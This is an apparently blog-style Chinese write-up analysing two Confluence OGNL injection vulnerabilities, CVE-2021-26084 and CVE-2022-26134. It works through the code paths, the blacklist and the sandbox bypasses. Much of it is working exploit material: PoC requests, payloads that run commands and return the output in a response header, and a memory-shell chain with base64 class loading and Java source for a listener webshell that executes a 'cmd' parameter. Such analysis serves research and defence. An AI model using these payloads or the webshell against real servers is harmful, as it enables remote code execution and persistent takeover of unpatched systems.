Confluence 漏洞分析

FROM CVE-2021-26084 TO CVE-2022-26134 ,Bypass Sandbox And Inject Memory Shell

CVE-2021-26084

  • Confluence < 6.13.23
  • 6.14.0 ≤ Confluence < 7.4.11
  • 7.5.0 ≤ Confluence < 7.11.6
  • 7.12.0 ≤ Confluence < 7.12.5
  • Confluence < 7.13.0

之前对struts2框架了解的比较少,站在漏洞复现的角度梳理一下:

velocity模板引擎

confluence使用velocity模版引擎,处理vm文件时,会把vm内容转化为AST语法树,然后分别处理每一个结点的内容,把结果输出。这个过程我理解有一点像sql预编译,提前确定好位置,再提取对应的键值对解析,最后渲染到前端展示。

我们先发一个poc包:

POST /pages/createpage-entervariables.action HTTP/1.1
Host: ty.com:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

转化后到AST可以在 org.apache.velocity.Template 下的data属性查看:

image-20220608172206591

搜索子树,可以定位 queryString

image-20220608172118978

确定好模版之后,就是获取 pages/createpage-entervariables.vm 标签中所定义的变量:

image-20220608190418386

其中的velocity基本语法:

"#" : 标识velocity的脚本语句
"$" : 获取一个对象或变量
"!" : 对变量为null的情况在页面显示为空白字符串

AbstractTagDirective.createPropertyMap()下创建了一个map,用于保存tag中的键值对:

image-20220608200447599

之后进入processTag()方法,用于处理tag:

image-20220608232231071

processTag()的末尾,调用了doEndTag()方法,跟进evaluateParams(stack),其实就是用Ognl表达式去处理tag中的内容。

image-20220608234226356

可以看到在执行Ognl表达式之前,还经过了一次表达式检查,这个我们放在后面说,需要注意的是我们的expr是被''所包裹的,所以Ognl并不会解析里面的内容,而在执行之前expr会经过一轮OgnlUtil.compile(expr),支持对unicode编码的解码,所以可以利用\u0027闭合单引号 。

安全检测

首先Ognl.getValue() 解析 Ongl语句,就会将其转化为一颗 ASTChain 语法树执行,比如表达式:@java.lang.Runtime@getRuntime().exec("calc"),下图为其所对应的语法树:

image-20220609104544611

现在看安全防护的问题:

针对以上检测,有以下两种方式绕过检测以获取Class对象:

绕过一

queryString=\u0027%2b{Class}%2b\u0027
等于
{Class}

image-20220610001758198

当Ongl解析一个属性 a 或者 A时,都会从 Context 键值对中调用 getA 来尝试获取属性,而检测中只过滤了小写class的情况,我们完全可以利用大写 Class 属性来调用context中的 getClass() 方法从而获取Class对象。

绕过二

queryString=\u0027%2b{[\u0022class\u0022]}%2b\u0027
等于
{['class']}

image-20220610003243339

这一绕过也是利用Ognl在解析时的差异,针对 ['class'] 属性,是和 .class 一样都可以调用到getClass()方法,而在检测时是调用被测属性的toString方法,而['class'] 相当于返回自身,故绕过了检测。

image-20220610004326852

拿到Class对象之后,利用就好说了,利用forName就可以调用各种方法。

CVE-2022-26134

  • 1.3.0 ≤ Confluence < 7.4.17
  • 7.13.0 ≤ Confluence < 7.13.7
  • 7.14.0 ≤ Confluence < 7.14.3
  • 7.15.0 ≤ Confluence < 7.15.2
  • 7.16.0 ≤ Confluence < 7.16.4
  • 7.17.0 ≤ Confluence < 7.17.4
  • 7.18.0 ≤ Confluence < 7.18.1

CVE-2022-26134的 Ognl 输入点在url处,confluence的分发器会把请求交给内部28个拦截器(interceptors)处理,

其中大部分拦截器在处理时,又会回到invocation.invoke()方法,形成一个循环:

image-20220613030021374

但是第10号拦截器 actionAccessChecker 不一样,其判断了请求的action,并默认返回 notpermitted,从而跳出了循环:

image-20220613023859251

跳出后,走到this.execteResult():

image-20220613024215763

之后一路跟进,进入最后的执行点TextParseUtil.translateVariables(this.namespace, stack),这里对 namespace (在转发器 ServletDispatcher 对url做的提取) 进行了ognl表达式处理:

image-20220613030947118

同样还有熟悉的safeExpressionUtil.isSafeExpression(expr), confluence 在7.13.0之后改写了这个模块,引入了更加复杂的黑名单以及白名单机制:

//unsafePropertyNames

0 = "sun.misc.Unsafe"
1 = "classLoader"
2 = "java.lang.System"
3 = "java.lang.ThreadGroup"
4 = "com.opensymphony.xwork.ActionContext                 java.lang.Compiler"
5 = "com.atlassian.applinks.api.ApplicationLinkRequestFactory"
6 = "java.lang.Thread"
7 = "com.atlassian.core.util.ClassLoaderUtils"
8 = "java.lang.ProcessBuilder"
9 = "java.lang.InheritableThreadLocal"
10 = "com.atlassian.core.util.ClassHelper"
11 = "class"
12 = "java.lang.Shutdown"
13 = "java.lang.ThreadLocal"
14 = "java.lang.Process"
15 = "java.lang.Package"
16 = "org.apache.tomcat.InstanceManager"
17 = "java.lang.Runtime"
18 = "javax.script.ScriptEngineManager"
19 = "javax.persistence.EntityManager"
20 = "org.springframework.context.ApplicationContext"
21 = "java.lang.SecurityManager"
22 = "java.lang.Object"
23 = "java.lang.Class"
24 = "java.lang.RuntimePermission"
25 = "javax.servlet.ServletContext"
26 = "java.lang.ClassLoader"

//unsafePackageNames

0 = "java.rmi"
1 = "sun.management"
2 = "org.apache.catalina.session"
3 = "java.jms"
4 = "com.atlassian.confluence.util.io"
5 = "com.google.common.reflect"
6 = "javax.sql"
7 = "java.nio"
8 = "com.atlassian.sal.api.net"
9 = "sun.invoke"
10 = "java.util.zip"
11 = "liquibase"
12 = "com.hazelcast"
13 = "org.apache.commons.httpclient"
14 = "com.atlassian.util.concurrent"
15 = "java.net"
16 = "freemarker.ext.jsp"
17 = "com.sun.jna"
18 = "net.java.ao"
19 = "javax"
20 = "sun.corba"
21 = "org.springframework.util.concurrent"
22 = "com.sun.jmx"
23 = "sun.misc"
24 = "javassist"
25 = "ognl"
26 = "org.apache.commons.exec"
27 = "com.atlassian.cache"
28 = "org.wildfly.extension.undertow.deployment                 java.lang.reflect"
29 = "io.atlassian.util.concurrent"
30 = "java.util.concurrent"
31 = "com.atlassian.confluence.util.http"
32 = "sun.tracing"
33 = "org.objectweb.asm"
34 = "freemarker.template"
35 = "net.sf.hibernate"
36 = "freemarker.core"
37 = "net.bytebuddy"
38 = "org.apache.tomcat"
39 = "freemarker.ext.rhino"
40 = "com.atlassian.media"
41 = "org.springframework.context"
42 = "org.apache.velocity"
43 = "javax.xml"
44 = "java.sql"
45 = "sun.reflect"
46 = "sun.net"
47 = "javax.persistence"
48 = "org.javassist"
49 = "javax.naming"
50 = "org.apache.httpcomponents.httpclient"
51 = "com.atlassian.hibernate"
52 = "sun.nio"
53 = "com.atlassian.confluence.impl.util.sandbox"
54 = "com.google.common.net"
55 = "com.atlassian.filestore"
56 = "org.apache.commons.io"
57 = "com.atlassian.vcache"
58 = "jdk.nashorn"
59 = "sun.launcher"
60 = "oshi"
61 = "org.apache.bcel"
62 = "sun.rmi"
63 = "sun.tools.jar"
64 = "org.springframework.expression.spel"
65 = "com.opensymphony.xwork.util"
66 = "org.ow2.asm"
67 = "com.atlassian.confluence.setup.bandana"
68 = "org.quartz"
69 = "net.sf.cglib"
70 = "com.atlassian.activeobjects"
71 = "com.atlassian.utils.process"
72 = "sun.security"
73 = "com.atlassian.quartz"
74 = "javax.management"
75 = "sun.awt.shell"
76 = "com.google.common.cache"
77 = "org.apache.http.client"
78 = "java.io"
79 = "com.atlassian.confluence.util.sandbox"
80 = "java.util.jar"
81 = "com.atlassian.scheduler"
82 = "sun.print"
83 = "com.atlassian.failurecache"
84 = "com.google.common.io"
85 = "org.apache.catalina.core"
86 = "org.ehcache"

//unsafeMethodNames

0 = "getClass"
1 = "getClassLoader"

//allowedClassNames

0 = "net.sf.hibernate.proxy.HibernateProxy"
1 = "java.lang.reflect.Proxy"
2 = "net.java.ao.EntityProxyAccessor"
3 = "net.java.ao.RawEntity"
4 = "net.sf.cglib.proxy.Factory"
5 = "java.io.ObjectInputValidation"
6 = "net.java.ao.Entity"
7 = "com.atlassian.confluence.util.GeneralUtil"
8 = "java.io.Serializable"

为什么会引入白名单呢?因为13之后的 UNSAFE_NODE_TYPES 允许了 ognl.ASTStaticMethod 类型的节点,不过把可以调用的类限制在了白名单内:

image-20220613110143920

绕过踩坑

网上已经公开了许多exp,这里主要说一下我在复现的时候踩的一些坑:

这是github star比较多的exp:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

看到我就感觉挺奇怪的,因为在CVE-2021-26084的检测中就已经把赋值语句给禁止了,并且即使调用静态方法 org.apache.commons.io.IOUtils 也不在白名单内:

image-20220613105853012

后来才知道网上流传比较广泛的大多都是针对还没有沙箱的版本(7.4 以下),实际上在7.18版本 confluence都还没能把大写 Class 加入到 unsafePropertyNames 中,所以我们还是可以通过${Class.forName()}拿到Class对象:

//javax.script.ScriptEngineManager 在黑名单中,
${(Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('java.lang.Runtime.getRuntime().exec("open -a Calculator")'))}

OgnlUtil.compile(expr)会将expr中的单引号变成双引号,不过在引号内的符号会默认加上\,不会被闭合。

${(Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())'))}

Phith0n采用的是JavaScript的String.fromCharCode来避免引号相关的问题。

${Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))")}

可以命令执行,那么后续就是拿回显的问题,

${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())'))}

image-20220613165315157

注入内存木马

能执行,有回显,离注入内存马就只差最后动态加载字节码了。

要想动态加载字节码,通过url进行get传输肯定不行,我们通过context对象拿到request属性从而提取Parameter属性:

//以下两种方式均可
${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(@com.opensymphony.webwork.ServletActionContext@getRequest().getParameter("theoyu")))}

${Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getResponse',null).invoke(null,null).setHeader('X-CMD',Class.forName('jav'+'ax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(Class.forName('com.opensymphony.webwork.ServletActionContext').getMethod('getRequest',null).invoke(null,null).getParameter("theoyu")))}

theoyu=java.lang.Runtime.getRuntime().exec("open+-a+Calculator")

context在回显的时候已经解决了,现在是要找一个defineClass的点,

var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAADcAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAFTFJjZTsBAApFeGNlcHRpb25zBwAZAQAKU291cmNlRmlsZQEACFJjZS5qYXZhDAAHAAgHABoMABsAHAEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHQAeAQADUmNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAABAAEAAUADQAGAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAAAACABE=");
var loader = java.lang.Thread.currentThread().getContextClassLoader();
var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
var o =  defineClassMethod.invoke(null,"Rce",classBytes,loader);
o.newInstance();

准备ListenerShellAddListener

public class ListenerShell implements ServletRequestListener {
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        try {
            RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest();
            Field requestField= req.getClass().getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(req);
            Response response = request.getResponse();
            if (request.getParameter("cmd") != null) {
                String[] commands = new String[3];
                String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
                if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                    commands[0] = "cmd";
                    commands[1] = "/c";
                } else {
                    commands[0] = "/bin/sh";
                    commands[1] = "-c";
                }
                commands[2] = request.getParameter("cmd");
                InputStream in = Runtime.getRuntime().exec(commands).getInputStream();
                Scanner s = new Scanner(in, charsetName).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                System.out.println(output);
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}
public class AddListener {
    public AddListener() throws Exception{
        var clazz = java.lang.Class.forName("ListenerShell");
        javax.servlet.ServletContext servletContext = com.opensymphony.webwork.ServletActionContext.getServletContext();
        java.lang.reflect.Field appctx =servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);

        org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) appctx.get(servletContext);
        java.lang.reflect.Field atx= applicationContext.getClass().getDeclaredField("context");
        atx.setAccessible(true);
        org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) atx.get(applicationContext);
        standardContext.addApplicationEventListener(clazz.newInstance());
    }
}
//分两次打进去:
//先注册ListenerShell
theoyu= var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAA......");
        var loader = java.lang.Thread.currentThread().getContextClassLoader();
        var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
        var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
        var o =   defineClassMethod.invoke(null,"ListenerShell",classBytes,loader);
        o.newInstance();

//再打AddLisenter
theoyu= var classBytes = java.util.Base64.getDecoder().decode("yv66vgAAAD......");
        var loader = java.lang.Thread.currentThread().getContextClassLoader();
        var reflectUtilsClass = java.lang.Class.forName("org.springframework.cglib.core.ReflectUtils",true,loader);
        var defineClassMethod = reflectUtilsClass.getMethod("defineClass",java.lang.String.class,java.lang.Class.forName("[B"),java.lang.ClassLoader.class);
        var o =   defineClassMethod.invoke(null,"AddListener",classBytes,loader);
        o.newInstance();

上面只是单纯的回显shell,修改一下就可以做哥斯拉或者冰蝎的内存木马,这里不演示了。